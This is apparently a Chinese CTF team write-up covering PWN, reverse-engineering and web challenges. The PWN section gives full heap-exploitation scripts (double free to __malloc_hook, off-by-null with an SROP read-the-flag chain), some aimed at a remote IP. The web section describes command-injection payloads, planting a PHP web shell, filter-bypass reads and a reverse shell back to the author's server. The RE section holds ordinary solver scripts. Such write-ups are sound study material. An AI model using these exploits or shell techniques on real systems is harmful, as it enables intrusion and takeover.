writeup

PWN

sign_in

简单的UAF,一个double free 打到malloc_hook,然后realloc修栈

```
from pwn import*
context.log_level = 'DEBUG'
def menu(ch):
  p.sendlineafter('choice :',str(ch))
def new(size,name,content):
  menu(1)
  p.sendlineafter("game's name:",str(size))
  p.sendafter("game's name:",name)
  p.sendlineafter("game's message:",content)
def free(index):
  menu(3)
  p.sendlineafter('index:',str(index))
def show():
  menu(2)


p = process('./main')
#p =  remote('183.129.189.60',10029)
libc = ELF('./libc-2.23.so')
new(0x100,'FMYY','FMYY')
new(0x68,'FMYY','FMYY')
new(0x68,'FMYY','FMYY')
free(0)
new(0xD0,'\x78','\x78')
show()
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 88 - 0x10
log.info('LIBC:\t' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
rce = libc_base + 0xF1207
realloc = libc_base + libc.sym['realloc']
free(1)
free(2)
free(1)
new(0x68,p64(malloc_hook - 0x23),'FMYY')
new(0x68,'FMYY','FMYY')
new(0x68,'FMYY','FMYY')
new(0x68,'\x00'*(0x13-8) + p64(rce) + p64(realloc + 4),'FMYY')
menu(1)
p.interactive()
```

easy_heap

简单的off by null,2.31的,然后有个沙盒,用malloc_hook + IO + SROP的劫持方法做即可 orw flag

```
from pwn import*
context.arch = 'AMD64'
#context.log_level = 'DEBUG'
def menu(ch):
  p.sendlineafter('Choice:',str(ch))
def new(size):
  menu(1)
  p.sendlineafter('Size: ',str(size))
def edit(index,content):
  menu(2)
  p.sendlineafter('Index:',str(index))
  p.sendafter('Content:',content)
def free(index):
  menu(3)
  p.sendlineafter('Index:',str(index))
def show(index):
  menu(4)
  p.sendlineafter('Index:',str(index))
p = process('./main')
p =  remote('183.129.189.60',10009)
libc =ELF('./libc-2.31.so')
for i in range(4):
  new(0x1000)
new(0x1000-0x3E0 - 0x50 + 0x10)
#--large bin
for i in range(7):
  new(0x28)
new(0xB20)
new(0x10)

free(12)
new(0x1000)
new(0x28) #14
edit(14,p64(0) + p64(0x521) + '\x40')
#--
#-- small bin
new(0x28) #15
new(0x28) #16
new(0x28) #17
new(0x28) #18
```

```
for i in range(7): #5 - 11
  free(5+i)

free(17)
free(15)

for i in range(7):
  new(0x28)

new(0x400)  #15

new(0x28) #17
edit(17,p64(0) + '\x20')
new(0x28) # clear the tcache bin
#--

#--fast bin
for i in range(7):
  free(5 + i)
free(16)
free(14)
for i in range(7):
  new(0x28)
new(0x28)
edit(14,'\x20')
new(0x28)
#--
new(0x28) #20
new(0x5F8)
free(20)
new(0x28)
edit(20,'\x00'*0x20 + p64(0x520))
free(21)
new(0x40)
new(0x40)
show(16)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x60 -0x10 -
libc.sym['__malloc_hook']
log.info('LIBC:\t' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
IO_stdin = libc_base +  libc.sym['_IO_2_1_stdin_']
free(22)
free(14)
new(0x28)
edit(14,p64(0) + p64(0x301))
new(0x2F0)
free(22)
free(21)
free(14)
new(0x28)
edit(14,'\x00'*0x10 + p64(IO_stdin))
################
pop_rdi_ret = libc_base + 0x0000000000026B72
pop_rdx_r12 = libc_base + 0x000000000011C1E1
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rax_ret = libc_base + 0x000000000004A550
jmp_rsi  = libc_base + 0x00000000001105BD


syscall = libc_base + libc.sym['syscall']

target = libc_base + libc.sym['_IO_2_1_stdin_']
address = libc.sym['__free_hook'] + libc_base
IO_str_jumps = libc_base + 0x1ED560
frame_address = target + 0xE0

Open = libc_base + libc.symbols["open"]
Read = libc_base + libc.symbols["read"]
Puts = libc_base + libc.symbols['puts']
free_hook = address
IO  = '\x00'*0x28
IO += p64(frame_address)
IO  = IO.ljust(0xD8,'\x00')
IO += p64(IO_str_jumps)
read = libc_base + libc.sym['read']
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x2000
frame.rsp = address
frame.rip = Read


orw  = p64(pop_rdi_ret)+p64(free_hook + 0xF8)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rdx_r12) + p64(0x30) + p64(0)
orw += p64(pop_rsi_ret) + p64(free_hook+0x100)
orw += p64(Read)
orw += p64(pop_rdi_ret)+p64(free_hook+0x100)
orw += p64(Puts)
orw  = orw.ljust(0xF8,'\x00')
orw += './flag\x00\x00'
IO += str(frame)
IO += 'F'*0x18 + p64(libc_base + libc.sym['setcontext'] + 61)
###############
new(0x2F0)
new(0x2F0)
log.success('Now')
edit(22,IO)
menu(5)
p.sendlineafter('bye bye!',orw)
p.interactive()
```

babypwn

也是简单题,需要一个libc地址,释放一个块到fastbin,利用scanf输入数据过多会申请一个large bin chunk,故可以将fastbin中的chunk 放进small bin中,再申请回来拿到libc,一个double free申请过去即可打到malloc_hook

```
from pwn import*
context.log_level = 'DEBUG'
def menu(ch):
  p.sendlineafter('choice :',str(ch))
def new(size,name,content,sign=1):
  menu(1)
  p.sendlineafter("game's name:",str(size))
  p.sendafter("game's name:",name)
  if sign:
    p.sendlineafter("game's message:",content)
  else:
    p.sendline(content)
def free(index):
  menu(2)
  p.sendlineafter('index:',str(index))

p = process('./main')
p = remote('183.129.189.60',10031)
libc =ELF('./libc-2.23.so')
new(0x28,'FMYY','FMYY')
new(0x60,'FMYY','FMYY')
new(0x60,'FMYY','FMYY')
new(0x60,'FMYY','FMYY')
free(2)
menu(1)
p.sendlineafter("game's name:",'0'*0x500)
free(0)
new(0x60,'\xDD\x25','FMYY')
free(1)
free(3)
free(1)
new(0x60,'\x30','FMYY')
new(0x60,'FMYY','FMYY')
new(0x60,'FMYY','FMYY')
new(0x60,'FMYY','FMYY')
new(0x60,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88','FMYY',sign=0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) -
libc.sym['_IO_2_1_stdin_']
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
rce = libc_base + 0xF1207
free(5)
free(6)
free(5)
new(0x68,p64(malloc_hook - 0x23),'FMYY')
new(0x68,'FMYY','FMYY')
new(0x68,'FMYY','FMYY')
new(0x68,'\x00'*(0x13-8) + p64(rce) + p64(realloc + 4),'FMYY')
menu(1)
p.interactive()
```

RE

login

python文件包装成的exe，用pyinstxtractor.py，之后补充一下pyc文件的头再反编译一下就行了，之后z3解一下,再xor下就行了
（反编译的文件）

```
'''from z3 import *
a1 = Int("a1")
a2 = Int("a2")
a3 = Int("a3")
a4 = Int("a4")
a5 = Int("a5")
a6 = Int("a6")
a7 = Int("a7")
a8 = Int("a8")
a9 = Int("a9")
a10 = Int("a10")
a11 = Int("a11")
a12 = Int("a12")
a13 = Int("a13")
a14 = Int("a14")
s = Solver()
s.add(a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5 + a5 * 43 + a6 * 89 + a7 * 25 + a8 *
13 - a9 * 36 + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60 + a14 * 29 == 22748
 ,a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25 + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66
+ a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39 + a14 * 17 == 7258
```

```
 ,a1 * 28 + a2 * 35 + a3 * 16 - a4 * 65 + a5 * 53 + a6 * 39 + a7 * 27 + a8 * 15
- a9 * 33 + a10 * 13 + a11 * 101 + a12 * 90 - a13 * 34 + a14 * 23 == 26190
 ,a1 * 23 + a2 * 34 + a3 * 35 - a4 * 59 + a5 * 49 + a6 * 81 + a7 * 25 + (a8
*128) - a9 * 32 + a10 * 75 + a11 * 81 + a12 * 47 - a13 * 60 + a14 * 29 == 37136
 ,a1 * 38 + a2 * 97 + a3 * 35 - a4 * 52 + a5 * 42 + a6 * 79 + a7 * 90 + a8 * 23
- a9 * 36 + a10 * 57 + a11 * 81 + a12 * 42 - a13 * 62 - a14 * 11 == 27915
 ,a1 * 22 + a2 * 27 + a3 * 35 - a4 * 45 + a5 * 47 + a6 * 49 + a7 * 29 + a8 * 18
- a9 * 26 + a10 * 35 + a11 * 41 + a12 * 40 - a13 * 61 + a14 * 28 == 17298
  ,a1 * 12 + a2 * 45 + a3 * 35 - a4 * 9 - a5 * 42 + a6 * 86 + a7 * 23 + a8 * 85
- a9 * 47 + a10 * 34 + a11 * 76 + a12 * 43 - a13 * 44 + a14 * 65 == 19875
   ,a1 * 79 + a2 * 62 + a3 * 35 - a4 * 85 + a5 * 33 + a6 * 79 + a7 * 86 + a8 *
14 - a9 * 30 + a10 * 25 + a11 * 11 + a12 * 57 - a13 * 50 - a14 * 9 == 22784
    ,a1 * 8 + a2 * 6 + a3 * 64 - a4 * 85 + a5 * 73 + a6 * 29 + a7 * 2 + a8 * 23
- a9 * 36 + a10 * 5 + a11 * 2 + a12 * 47 - a13 * 64 + a14 * 27 == 9710
    ,a1 * 67 - a2 * 68 + a3 * 68 - a4 * 51 - a5 * 43 + a6 * 81 + a7 * 22 - a8 *
12 - a9 * 38 + a10 * 75 + a11 * 41 + a12 * 27 - a13 * 52 + a14 * 31 == 13376
     ,a1 * 85 + a2 * 63 + a3 * 5 - a4 * 51 + a5 * 44 + a6 * 36 + a7 * 28 + a8 *
15 - a9 * 6 + a10 * 45 + a11 * 31 + a12 * 7 - a13 * 67 + a14 * 78 == 24065
     ,a1 * 47 + a2 * 64 + a3 * 66 - a4 * 5 + a5 * 43 + a6 * 112 + a7 * 25 + a8
* 13 - a9 * 35 + a10 * 95 + a11 * 21 + a12 * 43 - a13 * 61 + a14 * 20 == 27687
     ,a1 * 89 + a2 * 67 + a3 * 85 - a4 * 25 + a5 * 49 + a6 * 89 + a7 * 23 + a8
* 56 - a9 * 92 + a10 * 14 + a11 * 89 + a12 * 47 - a13 * 61 - a14 * 29 == 29250
     ,a1 * 95 + a2 * 34 + a3 * 62 - a4 * 9 - a5 * 43 + a6 * 83 + a7 * 25 + a8 *
12 - a9 * 36 + a10 * 16 + a11 * 51 + a12 * 47 - a13 * 60 - a14 * 24 == 15317)
if s.check()==sat:
    print(s.model())'''
a2 = 24
a13 = 88
a6 = 43
a9 = 52
a14 = 33
a5 = 104
a12 = 74
a7 = 28
a1 = 119
a10 = 108
a11 = 88
a8 = 91
a4 = 7
a3 = 10
code = [0]*14
code[2] = a1
code[1] = a2
code[0] = a3
code[3] = a4
code[4] = a5
code[5] = a6
code[6] = a7
code[7] = a8
```

```
code[9] = a9
code[8] = a10
code[10] = a11
code[11] = a12
code[12] = a13
code[13] = a14
print(code)
input1 = [0]*14
for i in range(12,-1,-1):
    code[i] = (code[i] ^ code[i+1])&0xff
    input1[i]=code[i]
s="".join(chr(input1[i]) for i in range(len(code)))
print(s)
```

easyre

3个加密 第1个base64 第2个13为一组换位置，第3个挨个换字母，数字

```
from base64 import *
output = "EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG"
input1 =[0]*len(output)
for i in range(len(output)):
    if((ord(output[i])>=ord('A'))and(ord(output[i])<=ord("Z"))):
        input1[i] = ord('A')+(ord(output[i])-ord('A')-3+26)%26

    elif(ord(output[i])>=ord('a') and (ord(output[i])<=ord('z'))):
        input1[i] = ord('a')+(ord(output[i])-ord('a')-3+26)%26
    elif((ord(output[i])>=0x30 )and (ord(output[i])<=ord('9'))):
        input1[i] = ord('0')+(ord(output[i])-ord('0')-3+26)%26
    else                        :
        input1[i] = ord(output[i])

s="".join(chr(input1[i]) for i in range(len(input1)))
##print(s)
s1=s[0:0xd]
s2 = s[0xd:0xd*2]
s3=s[0xd*2:0xd*3]
s4=s[0xd*3:]
'''print(s)
print(s1)
print(s2)
print(s3)
print(s4)'''
result = s2+s4+s1+s3
print(b64decode(result))
```

babyre

密钥des-cbc加密，解一下就行"th1s1sth3n1c3k3y"，密文aes-ecb加密后异或 再(2*(a1[21] ^ 0x13)+7)^(a1[21]%9+a1[22]+2),得爆破，我直接用z3解了，但是有多解，一个个试出来的

```
from Crypto.Cipher import AES
from z3 import *
'''cipher = "\x0a\xf4\xee\xc8\x42\x8a\x9b\xdb\xa2\x26\x6f\xee\xee\xe0\xd8\xa2"
iv = "\x00\x00\x00\x00\x00\x00\x00\x00"
key = "\xad\x52\xf2\x4c\xe3\x2c\x20\xd6"
des = DES.new(key,mode=DES.MODE_CBC,iv=iv)
m = des.decrypt(cipher)
print(m)'''
'''cipher = "12345678901234567890123456789012"
key="th1s1sth3n1c3k3y"
aes = AES.new(key,mode=AES.MODE_ECB)
m = aes.encrypt(cipher)
print(m)'''
result = [ 0xBD, 0xAD, 0xB4, 0x84, 0x10, 0x63, 0xB3, 0xE1, 0xC6, 0x84,
  0x2D, 0x6F, 0xBA, 0x88, 0x74, 0xC4, 0x90, 0x32, 0xEA, 0x2E,
  0xC6, 0x28, 0x65, 0x70, 0xC9, 0x75, 0x78, 0xA0, 0x0B, 0x9F,
  0xA6]
a1 = [0]*32
'''for i in range(32):
    a1[i] = BitVec("a1["+str(i)+"]",16)
tmp = BitVec('tmp',16)
s = Solver()
s.add(result[0]==((2*(a1[0]^0x13)+7)^(a1[0]%9+a1[1]+2)))
s.add(result[1]==((2*(a1[1]^0x13)+7)^(a1[1]%9+a1[2]+2)))
s.add(result[2]==((2*(a1[2]^0x13)+7)^(a1[2]%9+a1[3]+2)))
s.add(result[3]==((2*(a1[3]^0x13)+7)^(a1[3]%9+a1[4]+2)))
s.add(result[4]==((2*(a1[4]^0x13)+7)^(a1[4]%9+a1[5]+2))%0x100)
s.add(result[5]==((2*(a1[5]^0x13)+7)^(a1[5]%9+a1[6]+2))%0x100)
s.add(result[6]==((2*(a1[6]^0x13)+7)^(a1[6]%9+a1[7]+2))%0x100)
s.add(result[7]==((2*(a1[7]^0x13)+7)^(a1[7]%9+a1[8]+2))%0x100)
s.add(result[8]==((2*(a1[8]^0x13)+7)^(a1[8]%9+a1[9]+2))%0x100)
s.add(result[9]==((2*(a1[9]^0x13)+7)^(a1[9]%9+a1[10]+2))%0x100)
s.add(result[10]==((2*(a1[10]^0x13)+7)^(a1[10]%9+a1[11]+2))%0x100)
s.add(result[11]==((2*(a1[11]^0x13)+7)^(a1[11]%9+a1[12]+2))%0x100)
s.add(result[12]==((2*(a1[12]^0x13)+7)^(a1[12]%9+a1[13]+2))%0x100)
s.add(result[13]==((2*(a1[13]^0x13)+7)^(a1[13]%9+a1[14]+2))%0x100)
s.add(result[14]==((2*(a1[14]^0x13)+7)^(a1[14]%9+a1[15]+2))%0x100)
s.add(result[15]==((2*(a1[15]^0x13)+7)^(a1[15]%9+a1[16]+2))%0x100)
s.add(result[16]==((2*(a1[16]^0x13)+7)^(a1[16]%9+a1[17]+2))%0x100)
s.add(result[17]==((2*(a1[17]^0x13)+7)^(a1[17]%9+a1[18]+2))%0x100)
s.add(result[18]==((2*(a1[18]^0x13)+7)^(a1[18]%9+a1[19]+2))%0x100)
s.add(result[19]==((2*(a1[19]^0x13)+7)^(a1[19]%9+a1[20]+2))%0x100)
s.add(result[20]==((2*(a1[20]^0x13)+7)^(a1[20]%9+a1[21]+2))%0x100)
```

```
s.add(result[21]==((2*(a1[21]^0x13)+7)^(a1[21]%9+a1[22]+2))%0x100)
s.add(result[22]==((2*(a1[22]^0x13)+7)^(a1[22]%9+a1[23]+2))%0x100)
s.add(result[23]==((2*(a1[23]^0x13)+7)^(a1[23]%9+a1[24]+2))%0x100)
s.add(result[24]==((2*(a1[24]^0x13)+7)^(a1[24]%9+a1[25]+2))%0x100)
s.add(result[25]==((2*(a1[25]^0x13)+7)^(a1[25]%9+a1[26]+2))%0x100)
s.add(result[26]==((2*(a1[26]^0x13)+7)^(a1[26]%9+a1[27]+2))%0x100)
s.add(result[27]==((2*(a1[27]^0x13)+7)^(a1[27]%9+a1[28]+2))%0x100)
s.add(result[28]==(((2*(a1[28]^0x13)+7)^(a1[28]%9+a1[29]+2)))%0x100)
s.add(result[29]==(((2*(a1[29]^0x13)+7)^(a1[29]%9+a1[30]+2)))%0x100)
s.add(result[30]==((2*(a1[30]^0x13)+7)^(a1[30]%9+a1[31]+2))%0x100)
s.add(a1[30]>0x00 ,a1[30]<0xff)
s.add(a1[29]>0x00,a1[29]<0xff)
s.add(a1[28]>0x00,a1[28]<0xff)
s.add(a1[27]>0x00,a1[27]<0xff)
s.add(a1[26]>0x00,a1[26]<0xff)
s.add(a1[25]>0x00,a1[25]<0xff)
s.add(a1[24]>0x00,a1[24]<0xff)
s.add(a1[23]>0x00,a1[23]<0xff)
s.add(a1[22]>0x00,a1[22]<0xff)
s.add(a1[21]>0x00,a1[21]<0xff)
s.add(a1[20]>0x00,a1[20]<0xff)
s.add(a1[19]>0x00,a1[19]<0xff)
s.add(a1[18]>0x00,a1[18]<0xff)
s.add(a1[17]>0x00,a1[17]<0xff)
s.add(a1[16]>0x00,a1[16]<0xff)
s.add(a1[15]>0x00,a1[15]<0xff)
s.add(a1[14]>0x00,a1[14]<0xff)
s.add(a1[13]>0x00,a1[13]<0xff)
s.add(a1[12]>0x00,a1[12]<0xff)
s.add(a1[11]>0x00,a1[11]<0xff)
s.add(a1[10]>0x00,a1[10]<0xff)
s.add(a1[9]>0x00,a1[9]<0xff)
s.add(a1[8]>0x00,a1[8]<0xff)
s.add(a1[7]>0x00,a1[7]<0xff)
s.add(a1[6]>0x00,a1[6]<0xff)
s.add(a1[5]>0x00,a1[5]<0xff)
s.add(a1[4]>0x00,a1[4]<0xff)
s.add(a1[3]>0x00,a1[3]<0xff)
s.add(a1[2]>0x00,a1[2]<0xff)
s.add(a1[1]>0x00,a1[1]<0xff)
s.add(a1[0]>0x00,a1[0]<0xff)
s.add(a1[31]==0xc4)
if(s.check()):
    print(s.model())'''
a1[5] = 77
a1[9] = 250
a1[1] = 119
a1[13] = 150
a1[12] = 30
```

```
a1[19] = 48
a1[10] = 84
a1[8] = 138
a1[11] = 179
a1[26] = 132
a1[27] = 69
a1[6] = 153
a1[17] = 133
a1[22] = 186
a1[2] = 94
a1[24] = 28
a1[21] = 97
a1[3] = 15
a1[29] = 56
a1[4] = 179
a1[28] = 11
a1[30] = 190
a1[18] = 248
a1[23] = 52
a1[16] = 24
a1[7] = 166
a1[15] = 124
a1[0] = 77
a1[20] = 94
a1[14] = 145
a1[25] = 233
a1[31] = 196
for i in range(31,-1,-1):
   for j in range(i/4):
     a1[i]^=a1[j]

print(a1)
for i in range(32):
  print(hex(a1[i]))

cipher="".join(chr(a1[i]) for i in range(32))
key = "th1s1sth3n1c3k3y"
aes = AES.new(key,mode=AES.MODE_ECB)

m = aes.decrypt(cipher)
print(m)
```

bytecode

python的字节块
前面2020相乘相加是“GWHT{”
后面慢慢读就解出来了

```
##GWHT{cfa2b87b3f746a8f0ac5c5963f}
from z3 import *
en = [3,37,72,9,6,132]
##input1 =[]
k = 0
output =
[101,96,23,68,112,42,107,62,96,53,176,179,98,53,67,29,41,120,60,106,51,101,178,
189,101,48]
##for i in range(13):
##  input1.append(output[2*i]^en[i%6])
##  input1.append(output[2*i+1] ^ en[i%6])
##print(input1)
##s = "".join(chr(input1[i]) for i in range(26))
##print(s)
'''input1="GWHT{cfa2b87b3f746a8f0ac5c5963f"
str1 = input1
x = []
k = 5
for i in range(13):
      b = ord(str1[k])
      c = ord(str1[k+1])
      a11 = en[i%6]^c
      a22 = en[i%6]^b
      x.append(a11)
      x.append(a22)
      k = k+2
print(x)'''

a1 = Int("a1")
a2 = Int("a2")
a3 = Int("a3")
a4 = Int("a4")
a5 = Int("a5")
a6 = Int("a6")
s =Solver()
s.add(3*a1+2*a2+5*a3==1003)
s.add(4*a1+7*a2+9*a3==2013)
s.add(8*a2+a1+2*a3==1109)
s.add(3*a4+2*a5+5*a6==671)
s.add(4*a4+7*a5+9*a6==1252)
s.add(8*a5+a4+2*a6==644)
if(s.check()):
      print(s.model())
print(""+chr(97)+chr(101)+chr(102)+chr(102)+chr(55)+chr(51))
```

WEB

easycon

打开之后是Ubuntu Default Page，查看源码还看到了提示，点进去看半天发现什么都不是，嘤嘤嘤

在地址后面加上/index.php，进入页面

看到提示，在联想题目信息，想到cmd可能就是链接密码

连接到蚁剑之后，看到一个bbbbbb.txt，下载发现是base64加密的图片

BlackCat

根据提示，就先听听黑猫警长吧，看源码可以黑猫警长的歌曲源码，最后可以看到源码

/*

```php
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁！竟敢踩我一只耳的尾巴！');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准，无意击发，你的梦想就是你要瞄准的目标。相信自己，你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);
```

Black-Cat-Sheriff和One-ear不能为空，One-ear加密之后要和Black-Cat-Sheriff强相等

hash_hmac()函数在传入数组时会报错，然后返回一个NULL

在第一个hash_hmac那里传一个数组过去，$clandestine的值就是null，此时，第二个hash的结果就是已知的

One-ear：传入payload

White-cat-monitor：传入一个数组使$clandestine

Black-Cat-Sheriff：传入以null为key加密出来的结果

此时，就剩下命令执行的那部分

因为exec只会显示最后一行，所以要利用base64加密来显示更多内容（base64也不能显示全部的内容）

payload：;ls |base64 先尝试列目录

一点一点尝试，后来列一下所有以php结尾的文件

payload：;ls *php|base64 可以看到flag.php，cat一下，就是它了

Easyphp

```php
<?php
    $files = scandir('./');
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') ||
stristr($content,'type') || stristr($content,'flag') ||
stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./');
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>
```

利用file_put_contents来操作index.php

$filename=index.php

$content=

此时index.php已经成为木马，蚁剑直接连接，在目录里面看到flag

Easyphp2

这道题写完就去睡觉了，忘记截图了，咕嘿嘿

1. 打开网址，发现url地址里面有个GWHT.php，有个要求 "only people from GWHT",把cookie里面的pass改成GWHT
   然后伪协议读文件: 用php://filter读文件，不过过滤了base64，不过可以用双url编码过，
   php://filter/read=convert%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34-encode/recource=GWHT.php
   rotots.txt有个提示check.php,不过读了没啥东西
   GWHT.php

```
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>count is here</title>

    <style>

        html,
        body {
            overflow: none;
            max-height: 100vh;
        }

    </style>
</head>

<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">

<center><img src="question.jpg" height="200" width="200" /> </center>

```

```
    <?php
    ini_set('max_execution_time', 5);

    if ($_COOKIE['pass'] !== getenv('PASS')) {
        setcookie('pass', 'PASS');
        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
    }
    ?>

    <h1>A Counter is here, but it has someting wrong</h1>

    <form>
        <input type="hidden" value="GWHT.php" name="file">
        <textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
        <input type="submit">
    </form>

    <?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
          die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
    }
    ?>

</body>

<html>
```

利用 exec执行命令，随便拼接一下就可以了'|wc -c | ls>1.txt',然后访问1.txt,本来想写个一句话木马进去的，结果服务器执行失败了，然后再查看1.txt,发现有个1z2y.php，咕嘿嘿，后门被发现了。
蚁剑链接，然后在根目录find / -name fl*， 在/GWHT/system/of/a/dowm(似乎是这里)里面发现一个flag.txt，发现没有权限，在/GWHT的目录下有一个REAMDE文件，md5破解hash，得到密码，GWHTCTF,然后想办法切换用户。
在网站的根目录发现一个shell.sh有执行权限，写下反弹shell的代码，反弹到自己服务器上。
在自己服务器上收到shell后，su GWHT， 然后输入密码GWHTCTF，切换到GWHT用户，读取flag.txt文件，成功得到flag